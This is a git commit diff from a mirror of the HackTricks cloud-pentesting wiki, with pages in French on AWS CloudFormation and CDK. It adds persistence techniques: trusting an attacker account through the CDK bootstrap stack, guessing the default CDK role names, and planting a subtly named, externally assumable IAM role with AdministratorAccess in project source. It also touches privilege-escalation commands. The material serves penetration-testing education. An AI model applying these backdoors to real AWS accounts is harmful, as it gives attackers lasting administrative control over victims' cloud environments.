mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
Le AWS CDK déploie une pile CFN appelée `CDKToolkit`. Cette pile prend en charge un paramètre `TrustedAccounts` qui permet aux comptes externes de déployer des projets CDK dans le compte victime. Un attaquant peut en abuser pour se donner un accès indéfini au compte victime, soit en utilisant l'interface en ligne de commande AWS pour redéployer la pile avec des paramètres, soit l'interface en ligne de commande AWS CDK.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -51,9 +51,9 @@ La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous d
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Un attaquant ayant les permissions de **passer un rôle et de créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
|
||||
Un attaquant ayant des permissions pour **passer un rôle et créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
|
||||
|
||||
L'exploitation suivante est une **variation de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilisant les **permissions ChangeSet** pour créer une pile.
|
||||
L'exploitation suivante est une **variation de la**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) utilisant les **permissions ChangeSet** pour créer une pile.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -93,7 +93,7 @@ C'est comme la méthode précédente sans passer **les rôles IAM**, donc vous p
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
Un attaquant pourrait abuser de ces permissions pour créer/met à jour des StackSets afin d'abuser des rôles cloudformation arbitraires.
|
||||
Un attaquant pourrait abuser de ces permissions pour créer/mette à jour des StackSets afin d'abuser des rôles cloudformation arbitraires.
|
||||
|
||||
**Impact potentiel :** Privesc aux rôles de service cloudformation.
|
||||
|
||||
@@ -103,8 +103,53 @@ Un attaquant pourrait abuser de cette permission sans la permission passRole pou
|
||||
|
||||
**Impact potentiel :** Privesc aux rôles cloudformation attachés.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
Le AWS cdk est un ensemble d'outils permettant aux utilisateurs de définir leur infrastructure en tant que code dans des langages qu'ils connaissent déjà, ainsi que de réutiliser facilement des sections. Le CDK convertit ensuite le code de haut niveau (c'est-à-dire python) en modèles Cloudformation (yaml ou json).
|
||||
|
||||
Pour utiliser le CDK, un utilisateur administratif doit d'abord initialiser le compte, ce qui crée plusieurs rôles IAM, y compris le *rôle exec*, qui a des permissions \*/\*. Ces rôles suivent la structure de nommage `cdk-<qualifier>-<name>-<account-id>-<region>`. L'initialisation doit être effectuée une fois par région et par compte.
|
||||
|
||||
Par défaut, les utilisateurs du CDK n'ont pas accès à la liste des rôles nécessaires pour utiliser le CDK, ce qui signifie que vous devrez les déterminer manuellement. Si vous compromettez la machine d'un développeur ou un nœud CI/CD, ces rôles peuvent être assumés pour vous accorder la capacité de déployer des modèles CFN, en utilisant le rôle `cfn-exec` pour permettre à CFN de déployer n'importe quelles ressources, compromettant complètement le compte.
|
||||
|
||||
### Détermination des noms de rôle
|
||||
|
||||
Si vous avez `cloudformation:DescribeStacks`, les rôles sont définis dans une pile appelée `CDKToolkit`, et vous pouvez en extraire les noms.
|
||||
|
||||
Si vous êtes sur une machine qui a été utilisée pour construire et déployer des projets CDK, vous pouvez les extraire de `cdk.out/manafest.json` dans le répertoire racine des projets.
|
||||
|
||||
Vous pouvez également faire une bonne supposition sur ce qu'ils sont. `qualifier` est une chaîne ajoutée aux rôles permettant de déployer plusieurs instances de l'initialisation CDK en même temps, cependant la valeur par défaut est codée en dur à `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Ajouter du code malveillant au code source du projet
|
||||
|
||||
Si vous pouvez écrire dans le code source du projet, mais que vous ne pouvez pas le déployer vous-même (par exemple, le développeur déploie le code via CI/CD, pas depuis la machine locale), vous pouvez toujours compromettre l'environnement en ajoutant des ressources malveillantes à la pile. Ce qui suit ajoute un rôle IAM qui peut être assumé par un compte attaquant à un projet python CDK.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFormation
|
||||
|
||||
AWS CloudFormation est un service conçu pour **simplifier la gestion des ressources AWS**. Il permet aux utilisateurs de se concentrer davantage sur leurs applications fonctionnant dans AWS en **réduisant le temps consacré à la gestion des ressources**. La fonctionnalité principale de ce service est le **modèle**—un modèle descriptif des ressources AWS souhaitées. Une fois ce modèle fourni, CloudFormation est responsable de **l'approvisionnement et de la configuration** des ressources spécifiées. Cette automatisation facilite une gestion plus efficace et sans erreur de l'infrastructure AWS.
|
||||
AWS CloudFormation est un service conçu pour **simplifier la gestion des ressources AWS**. Il permet aux utilisateurs de se concentrer davantage sur leurs applications fonctionnant dans AWS en **minimisant le temps consacré à la gestion des ressources**. La fonctionnalité principale de ce service est le **modèle**—un modèle descriptif des ressources AWS souhaitées. Une fois ce modèle fourni, CloudFormation est responsable de **l'approvisionnement et de la configuration** des ressources spécifiées. Cette automatisation facilite une gestion plus efficace et sans erreur de l'infrastructure AWS.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -37,6 +37,12 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions cl
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Vérifiez les **secrets** ou les informations sensibles dans le **template, les paramètres et la sortie** de chaque CloudFormation
|
||||
@@ -58,7 +64,7 @@ aws codestar describe-user-profile --user-arn <arn>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
Dans la page suivante, vous pouvez vérifier comment **abuser des permissions codestar pour élever les privilèges** :
|
||||
Dans la page suivante, vous pouvez vérifier comment **abuser des permissions de codestar pour escalader les privilèges** :
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codestar-privesc/
|
||||
|
||||
Reference in New Issue
Block a user